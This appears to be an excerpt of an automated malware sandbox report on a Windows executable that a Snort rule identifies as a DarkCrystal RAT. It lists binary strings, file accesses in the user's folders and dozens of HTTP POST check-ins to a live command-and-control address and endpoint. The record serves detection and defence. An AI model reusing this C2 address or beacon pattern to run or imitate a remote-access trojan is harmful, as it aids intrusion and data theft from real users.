Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000003796000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Code function: 4x nop then jmp 00007FFD9B8BDFC6h

0_2_00007FFD9B8BDDAD

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49730 -> 109.107.182.145:80

Source: Joe Sandbox View

ASN Name: TELEPORT-TV-ASRU TELEPORT-TV-ASRU

Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 1440Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2144Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2144Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2144Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2136Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: multipart/form-data; boundary=----09pDRrD0nZucDbA3LEhaxRdEovAqcnN7dgUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 217102Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2124Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2560Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2560Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2148Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2564Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /ExternalVm_CpuGameWindows.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 109.107.182.145Content-Length: 2568Expect: 100-continue
